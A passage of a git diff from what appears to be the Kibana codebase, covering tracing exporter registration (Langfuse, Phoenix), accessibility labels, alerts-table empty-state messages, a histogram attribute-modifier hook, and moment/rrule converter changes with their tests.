[ATTR_SERVICE_NAMESPACE]: apmConfig?.environment, + }); + // this is used for late-binding of span processors - const processor = LateBindingSpanProcessor.get(); + const lateBindingProcessor = LateBindingSpanProcessor.get(); + + const allSpanProcessors: SpanProcessor[] = [lateBindingProcessor]; + + propagation.setGlobalPropagator( + new CompositePropagator({ + propagators: [new W3CTraceContextPropagator(), new W3CBaggagePropagator()], + }) + ); const traceIdSampler = new TraceIdRatioBasedSampler(tracingConfig?.sample_rate ?? 1); @@ -46,11 +65,21 @@ export function initTracing({ sampler: new ParentBasedSampler({ root: traceIdSampler, }), - spanProcessors: [processor], - resource: resourceFromAttributes({ - [ATTR_SERVICE_NAME]: apmConfig.serviceName, - [ATTR_SERVICE_VERSION]: apmConfig.serviceVersion, - }), + spanProcessors: allSpanProcessors, + resource, + }); + + castArray(tracingConfig?.exporters ?? []).forEach((exporter) => { + const variant = fromExternalVariant(exporter); + switch (variant.type) { + case 'langfuse': + LateBindingSpanProcessor.get().register(new LangfuseSpanProcessor(variant.value)); + break; + + case 'phoenix': + LateBindingSpanProcessor.get().register(new PhoenixSpanProcessor(variant.value)); + break; + } }); trace.setGlobalTracerProvider(nodeTracerProvider); @@ -61,8 +90,11 @@ export function initTracing({ }) ); - return async () => { - // allow for programmatic shutdown - await processor.shutdown(); - }; + const shutdown = once(async () => { + await Promise.all(allSpanProcessors.map((processor) => processor.shutdown())); + }); + + process.on('SIGTERM', shutdown); + process.on('SIGINT', shutdown); + process.on('beforeExit', shutdown); } diff --git a/src/platform/packages/shared/kbn-tracing/tsconfig.json b/src/platform/packages/shared/kbn-tracing/tsconfig.json index df74248d91618..f52e791299e67 100644 --- a/src/platform/packages/shared/kbn-tracing/tsconfig.json +++ b/src/platform/packages/shared/kbn-tracing/tsconfig.json @@ -14,6 +14,9 @@ "target/**/*" ], "kbn_references": [ - "@kbn/telemetry-config", + "@kbn/inference-tracing", + "@kbn/std", + "@kbn/tracing-config", + "@kbn/opentelemetry-attributes", ] } diff --git a/src/platform/packages/shared/kbn-try-in-console/components/try_in_console_button.tsx b/src/platform/packages/shared/kbn-try-in-console/components/try_in_console_button.tsx index 1e036758f9996..02da17389112f 100644 --- a/src/platform/packages/shared/kbn-try-in-console/components/try_in_console_button.tsx +++ b/src/platform/packages/shared/kbn-try-in-console/components/try_in_console_button.tsx @@ -40,6 +40,7 @@ export interface TryInConsoleButtonProps { type?: 'link' | 'button' | 'emptyButton' | 'contextMenuItem'; telemetryId?: string; onClick?: () => void; + disabled?: boolean; 'data-test-subj'?: string; } export const TryInConsoleButton = ({ @@ -54,6 +55,7 @@ export const TryInConsoleButton = ({ type = 'emptyButton', telemetryId, onClick: onClickProp, + disabled = false, 'data-test-subj': dataTestSubj, }: TryInConsoleButtonProps) => { const url = sharePlugin?.url; @@ -110,6 +112,7 @@ export const TryInConsoleButton = ({ 'aria-label': getAriaLabel(), 'data-telemetry-id': telemetryId, onClick, + disabled, }; const btnIconType = showIcon ? iconType : undefined; diff --git a/src/platform/packages/shared/kbn-unified-data-table/README.md b/src/platform/packages/shared/kbn-unified-data-table/README.md index 54baebb6bb800..4548b3ca2ab2d 100644 --- a/src/platform/packages/shared/kbn-unified-data-table/README.md +++ b/src/platform/packages/shared/kbn-unified-data-table/README.md @@ -67,11 +67,8 @@ Props description: Usage example: ``` - // Memoize unified data table to avoid the unnecessary re-renderings - const DataTableMemoized = React.memo(UnifiedDataTable); - - // Add memoized component with all needed props - -; diff --git a/src/platform/packages/shared/kbn-unified-field-list/src/containers/unified_field_list_sidebar/field_list_sidebar_container.tsx b/src/platform/packages/shared/kbn-unified-field-list/src/containers/unified_field_list_sidebar/field_list_sidebar_container.tsx index 3cec97f9a440d..ee3ece1895826 100644 --- a/src/platform/packages/shared/kbn-unified-field-list/src/containers/unified_field_list_sidebar/field_list_sidebar_container.tsx +++ b/src/platform/packages/shared/kbn-unified-field-list/src/containers/unified_field_list_sidebar/field_list_sidebar_container.tsx @@ -8,7 +8,6 @@ */ import React, { - memo, useCallback, useState, forwardRef, @@ -91,7 +90,7 @@ const InternalUnifiedFieldListSidebarContainer: React.FC< }; const UnifiedFieldListSidebarContainerWithRestorableState = withRestorableState( - memo(InternalUnifiedFieldListSidebarContainer) + InternalUnifiedFieldListSidebarContainer ); type UnifiedFieldListSidebarContainerPropsWithRestorableState = ComponentProps< diff --git a/src/platform/packages/shared/kbn-unified-histogram/__mocks__/lens_vis.ts b/src/platform/packages/shared/kbn-unified-histogram/__mocks__/lens_vis.ts index 9b59403e569b3..d0ff347be3cec 100644 --- a/src/platform/packages/shared/kbn-unified-histogram/__mocks__/lens_vis.ts +++ b/src/platform/packages/shared/kbn-unified-histogram/__mocks__/lens_vis.ts @@ -34,6 +34,8 @@ export const getLensVisMock = async ({ allSuggestions, isTransformationalESQL, table, + externalVisContext, + getModifiedVisAttributes, }: { filters: QueryParams['filters']; query: QueryParams['query']; @@ -46,6 +48,8 @@ export const getLensVisMock = async ({ allSuggestions?: Suggestion[]; isTransformationalESQL?: boolean; table?: Datatable; + externalVisContext?: UnifiedHistogramVisContext; + getModifiedVisAttributes?: Parameters[0]['getModifiedVisAttributes']; }): Promise<{ lensService: LensVisService; visContext: UnifiedHistogramVisContext | undefined; @@ -88,9 +92,10 @@ export const getLensVisMock = async ({ }, timeInterval, breakdownField, - externalVisContext: undefined, + externalVisContext, table, onSuggestionContextChange: () => {}, + getModifiedVisAttributes, }); return { diff --git a/src/platform/packages/shared/kbn-unified-histogram/hooks/use_unified_histogram.ts b/src/platform/packages/shared/kbn-unified-histogram/hooks/use_unified_histogram.ts index fcaf695708e4a..e8596242783db 100644 --- a/src/platform/packages/shared/kbn-unified-histogram/hooks/use_unified_histogram.ts +++ b/src/platform/packages/shared/kbn-unified-histogram/hooks/use_unified_histogram.ts @@ -9,13 +9,18 @@ import { AggregateQuery, Filter, Query, TimeRange } from '@kbn/es-query'; import type { Datatable, DatatableColumn } from '@kbn/expressions-plugin/public'; -import type { EmbeddableComponentProps, LensEmbeddableInput } from '@kbn/lens-plugin/public'; +import type { + EmbeddableComponentProps, + LensEmbeddableInput, + TypedLensByValueInput, +} from '@kbn/lens-plugin/public'; import { useEffect, useMemo, useState } from 'react'; import { Observable, Subject, of } from 'rxjs'; import useMount from 'react-use/lib/useMount'; -import { pick } from 'lodash'; +import { cloneDeep, pick } from 'lodash'; import type { DataView } from '@kbn/data-views-plugin/common'; import useObservable from 'react-use/lib/useObservable'; +import useLatest from 'react-use/lib/useLatest'; import { UnifiedHistogramChartProps } from '../components/chart/chart'; import { UnifiedHistogramExternalVisContextStatus, @@ -122,6 +127,12 @@ export type UseUnifiedHistogramProps = Omit void; + /** + * Callback to modify the default Lens vis attributes used in the chart + */ + getModifiedVisAttributes?: ( + attributes: TypedLensByValueInput['attributes'] + ) => TypedLensByValueInput['attributes']; }; export type UnifiedHistogramApi = { @@ -230,6 +241,7 @@ export const useUnifiedHistogram = (props: UseUnifiedHistogramProps): UseUnified const lensVisServiceCurrentSuggestionContext = useObservable( lensVisService?.currentSuggestionContext$ ?? EMPTY_SUGGESTION_CONTEXT ); + const latestGetModifiedVisAttributes = useLatest(props.getModifiedVisAttributes); useEffect(() => { if (isChartLoading || !lensVisService) { @@ -252,6 +264,9 @@ export const useUnifiedHistogram = (props: UseUnifiedHistogramProps): UseUnified table, onSuggestionContextChange: stateProps.onSuggestionContextChange, onVisContextChanged: stateProps.onVisContextChanged, + getModifiedVisAttributes: (attributes) => { + return latestGetModifiedVisAttributes.current?.(cloneDeep(attributes)) ?? attributes; + }, }); }, [ columns, @@ -259,6 +274,7 @@ export const useUnifiedHistogram = (props: UseUnifiedHistogramProps): UseUnified dataView, externalVisContext, isChartLoading, + latestGetModifiedVisAttributes, lensVisService, requestParams.filters, requestParams.query, diff --git a/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.attributes.test.ts b/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.attributes.test.ts index b4336aee636ba..3a6a58f5e7ab9 100644 --- a/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.attributes.test.ts +++ b/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.attributes.test.ts @@ -741,6 +741,62 @@ describe('LensVisService attributes', () => { }); }); + it('should allow modifying attributes with getModifiedVisAttributes', async () => { + const lensVis = await getLensVisMock({ + filters, + query, + dataView, + timeInterval, + breakdownField: undefined, + columns: [], + isPlainRecord: false, + getModifiedVisAttributes: (attributes) => ({ + ...attributes, + title: 'Modified title', + visualizationType: 'lnsHeatmap', + }), + }); + expect(lensVis.visContext?.attributes).toEqual( + expect.objectContaining({ + title: 'Modified title', + visualizationType: 'lnsHeatmap', + }) + ); + }); + + it('should not allow modifying attributes with getModifiedVisAttributes if externalVisContext is applied', async () => { + const lensVis = await getLensVisMock({ + filters, + query, + dataView, + timeInterval, + breakdownField: undefined, + columns: [], + isPlainRecord: false, + }); + const lensVis2 = await getLensVisMock({ + filters, + query, + dataView, + timeInterval, + breakdownField: undefined, + columns: [], + isPlainRecord: false, + externalVisContext: lensVis.visContext, + getModifiedVisAttributes: (attributes) => ({ + ...attributes, + title: 'Modified title', + visualizationType: 'lnsHeatmap', + }), + }); + expect(lensVis2.visContext?.attributes).not.toEqual( + expect.objectContaining({ + title: 'Modified title', + visualizationType: 'lnsHeatmap', + }) + ); + }); + it('should return suggestion title', async () => { const lensVis = await getLensVisMock({ filters, diff --git a/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.ts b/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.ts index eaf6c479884a3..2ecf25b5e1bdf 100644 --- a/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.ts +++ b/src/platform/packages/shared/kbn-unified-histogram/services/lens_vis_service.ts @@ -135,6 +135,7 @@ export class LensVisService { table, onSuggestionContextChange, onVisContextChanged, + getModifiedVisAttributes, }: { externalVisContext: UnifiedHistogramVisContext | undefined; queryParams: QueryParams; @@ -148,6 +149,9 @@ export class LensVisService { visContext: UnifiedHistogramVisContext | undefined, externalVisContextStatus: UnifiedHistogramExternalVisContextStatus ) => void; + getModifiedVisAttributes?: ( + attributes: TypedLensByValueInput['attributes'] + ) => TypedLensByValueInput['attributes']; }) => { const suggestionState = this.getCurrentSuggestionState({ externalVisContext, @@ -163,6 +167,7 @@ export class LensVisService { timeInterval, breakdownField, table, + getModifiedVisAttributes, }); onSuggestionContextChange(suggestionState.currentSuggestionContext); @@ -657,6 +662,7 @@ export class LensVisService { timeInterval, breakdownField, table, + getModifiedVisAttributes, }: { currentSuggestionContext: UnifiedHistogramSuggestionContext; externalVisContext: UnifiedHistogramVisContext | undefined; @@ -664,6 +670,9 @@ export class LensVisService { timeInterval: string | undefined; breakdownField: DataViewField | undefined; table: Datatable | undefined; + getModifiedVisAttributes?: ( + attributes: TypedLensByValueInput['attributes'] + ) => TypedLensByValueInput['attributes']; }): { externalVisContextStatus: UnifiedHistogramExternalVisContextStatus; visContext: UnifiedHistogramVisContext | undefined; @@ -769,6 +778,13 @@ export class LensVisService { }; } + if ( + externalVisContextStatus !== UnifiedHistogramExternalVisContextStatus.applied && + getModifiedVisAttributes + ) { + visContext.attributes = getModifiedVisAttributes(visContext.attributes); + } + return { externalVisContextStatus, visContext, diff --git a/src/platform/packages/shared/kbn-user-profile-components/src/hooks/use_update_user_profile.tsx b/src/platform/packages/shared/kbn-user-profile-components/src/hooks/use_update_user_profile.tsx index 72b1bdadb3393..61bd46179be61 100644 --- a/src/platform/packages/shared/kbn-user-profile-components/src/hooks/use_update_user_profile.tsx +++ b/src/platform/packages/shared/kbn-user-profile-components/src/hooks/use_update_user_profile.tsx @@ -28,7 +28,7 @@ interface Props { }; /** Predicate to indicate if the update requires a page reload */ pageReloadChecker?: ( - previsous: UserProfileData | null | undefined, + previous: UserProfileData | null | undefined, next: UserProfileData ) => boolean; } diff --git a/src/platform/packages/shared/presentation/presentation_publishing/interfaces/publishes_data_views.ts b/src/platform/packages/shared/presentation/presentation_publishing/interfaces/publishes_data_views.ts index b3a9da716d6be..0518e1d6c2892 100644 --- a/src/platform/packages/shared/presentation/presentation_publishing/interfaces/publishes_data_views.ts +++ b/src/platform/packages/shared/presentation/presentation_publishing/interfaces/publishes_data_views.ts @@ -10,6 +10,10 @@ import { DataView } from '@kbn/data-views-plugin/common'; import { PublishingSubject } from '../publishing_subject'; +/** + * This API publishes a list of data views that it uses. Note that this should not contain any + * ad-hoc data views. + */ export interface PublishesDataViews { dataViews$: PublishingSubject; } diff --git a/src/platform/packages/shared/response-ops/alerts-delete/translations.ts b/src/platform/packages/shared/response-ops/alerts-delete/translations.ts index 090fb26c15b2b..6bb5dd52a892b 100644 --- a/src/platform/packages/shared/response-ops/alerts-delete/translations.ts +++ b/src/platform/packages/shared/response-ops/alerts-delete/translations.ts @@ -47,7 +47,7 @@ export const INACTIVE_ALERTS_DESCRIPTION = i18n.translate( 'responseOpsAlertDelete.inactiveAlertsDescription', { defaultMessage: - 'Remove alerts that were recovered, closed, or untracked longer than the threshold', + 'Remove alerts that were recovered, closed, acknowledged, or untracked longer than the threshold', } ); diff --git a/src/platform/packages/shared/response-ops/alerts-fields-browser/components/categories_selector/categories_selector.tsx b/src/platform/packages/shared/response-ops/alerts-fields-browser/components/categories_selector/categories_selector.tsx index f3f9b90a4e5d0..f6b8643bcafd1 100644 --- a/src/platform/packages/shared/response-ops/alerts-fields-browser/components/categories_selector/categories_selector.tsx +++ b/src/platform/packages/shared/response-ops/alerts-fields-browser/components/categories_selector/categories_selector.tsx @@ -145,6 +145,7 @@ const CategoriesSelectorComponent: React.FC = ({ isOpen={isPopoverOpen} closePopover={closePopover} panelPaddingSize="none" + aria-label={i18n.FILTER_OPTIONS_LABEL} >
= ({ ]; return ( - +
{i18n.FIELDS_BROWSER} diff --git a/src/platform/packages/shared/response-ops/alerts-fields-browser/components/search/search.tsx b/src/platform/packages/shared/response-ops/alerts-fields-browser/components/search/search.tsx index 650d2ce69314e..fa80dfaa26fa1 100644 --- a/src/platform/packages/shared/response-ops/alerts-fields-browser/components/search/search.tsx +++ b/src/platform/packages/shared/response-ops/alerts-fields-browser/components/search/search.tsx @@ -27,6 +27,7 @@ export const Search = React.memo(({ isSearching, onSearchInputChange, sea placeholder={i18n.FILTER_PLACEHOLDER} value={searchInput} fullWidth + aria-label={i18n.FIELDS_SEARCH} /> )); Search.displayName = 'Search'; diff --git a/src/platform/packages/shared/response-ops/alerts-fields-browser/translations.ts b/src/platform/packages/shared/response-ops/alerts-fields-browser/translations.ts index 121a9df0ee3f5..136a5f699c611 100644 --- a/src/platform/packages/shared/response-ops/alerts-fields-browser/translations.ts +++ b/src/platform/packages/shared/response-ops/alerts-fields-browser/translations.ts @@ -42,6 +42,10 @@ export const FIELDS_BROWSER = i18n.translate('responseOpsAlertsFieldsBrowser.fie defaultMessage: 'Fields', }); +export const FIELDS_SEARCH = i18n.translate('responseOpsAlertsFieldsBrowser.fieldBrowserSearch', { + defaultMessage: 'Search', +}); + export const DESCRIPTION = i18n.translate('responseOpsAlertsFieldsBrowser.descriptionLabel', { defaultMessage: 'Description', }); @@ -87,6 +91,13 @@ export const NO_FIELDS_MATCH = i18n.translate('responseOpsAlertsFieldsBrowser.no defaultMessage: 'No fields match', }); +export const FILTER_OPTIONS_LABEL = i18n.translate( + 'responseOpsAlertsFieldsBrowser.filterOptionsLabel', + { + defaultMessage: 'Search field for filtering options', + } +); + export const NO_FIELDS_MATCH_INPUT = (searchInput: string) => i18n.translate('responseOpsAlertsFieldsBrowser.noFieldsMatchInputLabel', { defaultMessage: 'No fields match {searchInput}', diff --git a/src/platform/packages/shared/response-ops/alerts-table/components/alerts_flyout.tsx b/src/platform/packages/shared/response-ops/alerts-table/components/alerts_flyout.tsx index 79b78cca77131..4b0a4600fde47 100644 --- a/src/platform/packages/shared/response-ops/alerts-table/components/alerts_flyout.tsx +++ b/src/platform/packages/shared/response-ops/alerts-table/components/alerts_flyout.tsx @@ -20,6 +20,8 @@ import { } from '@elastic/eui'; import usePrevious from 'react-use/lib/usePrevious'; import type { Alert } from '@kbn/alerting-types'; +import { ALERT_RULE_CATEGORY } from '@kbn/rule-data-utils'; + import { DefaultAlertsFlyoutBody, DefaultAlertsFlyoutHeader } from './default_alerts_flyout'; import { AdditionalContext, @@ -59,6 +61,7 @@ export const AlertsFlyout = ({ } = renderContext; const Footer: FlyoutSectionRenderer | undefined = renderFlyoutFooter; const prevAlert = usePrevious(alert); + const props = useMemo( () => ({ @@ -100,8 +103,27 @@ export const AlertsFlyout = ({ [Footer, props] ); + const ALERT_FLYOUT_ARIA_LABEL = + alert && alert[ALERT_RULE_CATEGORY] + ? i18n.translate('xpack.triggersActionsUI.sections.alertsTable.alertsFlyout.ariaLabel', { + defaultMessage: '{alertCategory}', + values: { alertCategory: String(alert[ALERT_RULE_CATEGORY]) }, + }) + : i18n.translate( + 'xpack.triggersActionsUI.sections.alertsTable.alertsFlyout.ariaLabelDefault', + { + defaultMessage: 'Alert details', + } + ); + return ( - + {isLoading && } diff --git a/src/platform/packages/shared/response-ops/alerts-table/components/alerts_table.tsx b/src/platform/packages/shared/response-ops/alerts-table/components/alerts_table.tsx index f82611b561cad..e162ba6e5fe7a 100644 --- a/src/platform/packages/shared/response-ops/alerts-table/components/alerts_table.tsx +++ b/src/platform/packages/shared/response-ops/alerts-table/components/alerts_table.tsx @@ -187,8 +187,7 @@ const AlertsTableContent = typedForwardRef( toolbarVisibility, shouldHighlightRow, dynamicRowHeight = false, - emptyStateHeight, - emptyStateVariant, + emptyState, openLinksInNewTab = false, additionalContext, renderCellValue, @@ -608,8 +607,10 @@ const AlertsTableContent = typedForwardRef( additionalToolbarControls={additionalToolbarControls} alertsQuerySnapshot={alertsQuerySnapshot} showInspectButton={showInspectButton} - height={emptyStateHeight} - variant={emptyStateVariant} + messageTitle={emptyState?.messageTitle} + messageBody={emptyState?.messageBody} + height={emptyState?.height} + variant={emptyState?.variant} /> )} diff --git a/src/platform/packages/shared/response-ops/alerts-table/components/empty_state.tsx b/src/platform/packages/shared/response-ops/alerts-table/components/empty_state.tsx index 4375e7404195e..fcf4089c45805 100644 --- a/src/platform/packages/shared/response-ops/alerts-table/components/empty_state.tsx +++ b/src/platform/packages/shared/response-ops/alerts-table/components/empty_state.tsx @@ -15,6 +15,7 @@ import { css } from '@emotion/react'; import icon from '../assets/illustration_product_no_results_magnifying_glass.svg'; import { AlertsQueryInspector } from './alerts_query_inspector'; import { ALERTS_TABLE_TITLE } from '../translations'; +import { AlertsTableProps } from '../types'; const heights = { tall: 490, @@ -24,16 +25,22 @@ const heights = { const panelStyle = { maxWidth: 500, }; +type EmptyState = NonNullable; +type EmptyStateMessage = Pick; -export const EmptyState: React.FC<{ - height?: keyof typeof heights | 'flex'; - variant?: 'subdued' | 'transparent'; - additionalToolbarControls?: ReactNode; - alertsQuerySnapshot?: EsQuerySnapshot; - showInspectButton?: boolean; -}> = ({ +export const EmptyState: React.FC< + { + height?: keyof typeof heights | 'flex'; + variant?: 'subdued' | 'transparent'; + additionalToolbarControls?: ReactNode; + alertsQuerySnapshot?: EsQuerySnapshot; + showInspectButton?: boolean; + } & EmptyStateMessage +> = ({ height = 'tall', variant = 'subdued', + messageTitle, + messageBody, additionalToolbarControls, alertsQuerySnapshot, showInspectButton, @@ -76,17 +83,27 @@ export const EmptyState: React.FC<{

- + {messageTitle ? ( + messageTitle + ) : ( + + )}

- + {messageBody ? ( + messageBody + ) : ( + + )}

diff --git a/src/platform/packages/shared/response-ops/alerts-table/types.ts b/src/platform/packages/shared/response-ops/alerts-table/types.ts index 25c311046c019..18fe799d253d6 100644 --- a/src/platform/packages/shared/response-ops/alerts-table/types.ts +++ b/src/platform/packages/shared/response-ops/alerts-table/types.ts @@ -190,18 +190,29 @@ export interface AlertsTableProps (value ? moment(value) : undefined); -export const toString = (value?: Moment): string => value?.toISOString() ?? ''; export interface RecurringScheduleFieldsProps { startDate?: string; @@ -211,8 +210,8 @@ export const RecurringScheduleFormFields = memo( }, }, ], - serializer: toString, - deserializer: toMoment, + serializer: convertMomentToStringOptional, + deserializer: convertStringToMomentOptional, }} componentProps={{ 'data-test-subj': 'until-field', diff --git a/src/platform/packages/shared/response-ops/recurring-schedule-form/converters/moment.test.ts b/src/platform/packages/shared/response-ops/recurring-schedule-form/converters/moment.test.ts new file mode 100644 index 0000000000000..53db3256e0b59 --- /dev/null +++ b/src/platform/packages/shared/response-ops/recurring-schedule-form/converters/moment.test.ts @@ -0,0 +1,62 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { + convertStringToMoment, + convertStringToMomentOptional, + convertMomentToString, + convertMomentToStringOptional, +} from './moment'; +import moment from 'moment'; + +describe('Moment converters', () => { + describe('convertStringToMoment', () => { + it('should convert ISO string to Moment', () => { + const dateStr = '2025-06-26T12:34:56.789Z'; + const result = convertStringToMoment(dateStr); + expect(moment.isMoment(result)).toBe(true); + expect(result.toISOString()).toBe(dateStr); + }); + }); + + describe('convertStringToMomentOptional', () => { + it('should convert ISO string to Moment if value is provided', () => { + const dateStr = '2025-06-26T12:34:56.789Z'; + const result = convertStringToMomentOptional(dateStr); + expect(moment.isMoment(result)).toBe(true); + expect(result?.toISOString()).toBe(dateStr); + }); + + it('should return undefined if value is not provided', () => { + const result = convertStringToMomentOptional(undefined); + expect(result).toBeUndefined(); + }); + }); + + describe('convertMomentToString', () => { + it('should convert Moment to ISO string', () => { + const m = moment('2025-06-26T12:34:56.789Z'); + const result = convertMomentToString(m); + expect(result).toBe('2025-06-26T12:34:56.789Z'); + }); + }); + + describe('convertMomentToStringOptional', () => { + it('should convert Moment to ISO string if value is provided', () => { + const m = moment('2025-06-26T12:34:56.789Z'); + const result = convertMomentToStringOptional(m); + expect(result).toBe('2025-06-26T12:34:56.789Z'); + }); + + it('should return empty string if value is not provided', () => { + const result = convertMomentToStringOptional(undefined); + expect(result).toBe(''); + }); + }); +}); diff --git a/src/platform/packages/shared/response-ops/recurring-schedule-form/converters/moment.ts b/src/platform/packages/shared/response-ops/recurring-schedule-form/converters/moment.ts new file mode 100644 index 0000000000000..b3d31feedd89a --- /dev/null +++ b/src/platform/packages/shared/response-ops/recurring-schedule-form/converters/moment.ts @@ -0,0 +1,20 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import type { Moment } from 'moment'; +import moment from 'moment'; + +export const convertStringToMoment = (value: string): Moment => moment(value); + +export const convertStringToMomentOptional = (value?: string): Moment | undefined => + value ? moment(value) : undefined; + +export const convertMomentToString = (value: Moment): string => value?.toISOString(); + +export const convertMomentToStringOptional = (value?: Moment): string => value?.toISOString() ?? ''; diff --git a/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.test.ts b/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.test.ts index db1f76a4c9a77..82e028783fe3a 100644 --- a/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.test.ts +++ b/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.test.ts @@ -14,20 +14,20 @@ import { convertToRRule } from './convert_to_rrule'; describe('convertToRRule', () => { const timezone = 'UTC'; const today = '2023-03-22'; - const startDate = moment(today); + const startDate = moment(today).toISOString(); - test('should convert a maintenance window that is not recurring', () => { + test('should convert a recurring schedule that is not recurring', () => { const rRule = convertToRRule({ startDate, timezone }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.YEARLY, count: 1, }); }); - test('should convert a maintenance window that is recurring on a daily schedule', () => { + test('should convert a recurring schedule that is recurring on a daily schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -39,7 +39,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.DAILY, interval: 1, @@ -47,7 +47,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a daily schedule until', () => { + test('should convert a recurring schedule that is recurring on a daily schedule until', () => { const until = moment(today).add(1, 'month').toISOString(); const rRule = convertToRRule({ startDate, @@ -61,7 +61,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.DAILY, interval: 1, @@ -70,7 +70,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a daily schedule after x', () => { + test('should convert a recurring schedule that is recurring on a daily schedule after x', () => { const rRule = convertToRRule({ startDate, timezone, @@ -83,7 +83,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.DAILY, interval: 1, @@ -92,7 +92,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a weekly schedule', () => { + test('should convert a recurring schedule that is recurring on a weekly schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -103,7 +103,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.WEEKLY, interval: 1, @@ -111,7 +111,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a monthly schedule', () => { + test('should convert a recurring schedule that is recurring on a monthly schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -122,7 +122,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.MONTHLY, interval: 1, @@ -130,7 +130,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a yearly schedule', () => { + test('should convert a recurring schedule that is recurring on a yearly schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -141,7 +141,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.YEARLY, interval: 1, @@ -150,7 +150,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a custom daily schedule', () => { + test('should convert a recurring schedule that is recurring on a custom daily schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -163,14 +163,14 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.DAILY, interval: 1, }); }); - test('should convert a maintenance window that is recurring on a custom weekly schedule', () => { + test('should convert a recurring schedule that is recurring on a custom weekly schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -184,7 +184,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.WEEKLY, interval: 1, @@ -192,7 +192,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a custom monthly by day schedule', () => { + test('should convert a recurring schedule that is recurring on a custom monthly by day schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -206,7 +206,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.MONTHLY, interval: 1, @@ -214,7 +214,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a custom monthly by weekday schedule', () => { + test('should convert a recurring schedule that is recurring on a custom monthly by weekday schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -228,7 +228,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.MONTHLY, interval: 1, @@ -236,7 +236,7 @@ describe('convertToRRule', () => { }); }); - test('should convert a maintenance window that is recurring on a custom yearly schedule', () => { + test('should convert a recurring schedule that is recurring on a custom yearly schedule', () => { const rRule = convertToRRule({ startDate, timezone, @@ -249,7 +249,7 @@ describe('convertToRRule', () => { }); expect(rRule).toEqual({ - dtstart: startDate.toISOString(), + dtstart: startDate, tzid: 'UTC', freq: Frequency.YEARLY, interval: 3, @@ -257,4 +257,21 @@ describe('convertToRRule', () => { bymonthday: [22], }); }); + + test.each(['frequency', 'customFrequency'])( + 'should parse %s as string to number', + (frequencyKey) => { + const rRule = convertToRRule({ + startDate, + timezone, + // @ts-expect-error Testing string to number parsing + recurringSchedule: { + [frequencyKey]: '1', + ends: 'never', + }, + }); + expect(typeof rRule.freq).toBe('number'); + expect(rRule.freq).toBe(1); + } + ); }); diff --git a/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.ts b/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.ts index 147d248d532ab..d0f40258a2b7c 100644 --- a/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.ts +++ b/src/platform/packages/shared/response-ops/recurring-schedule-form/utils/convert_to_rrule.ts @@ -7,7 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import type { 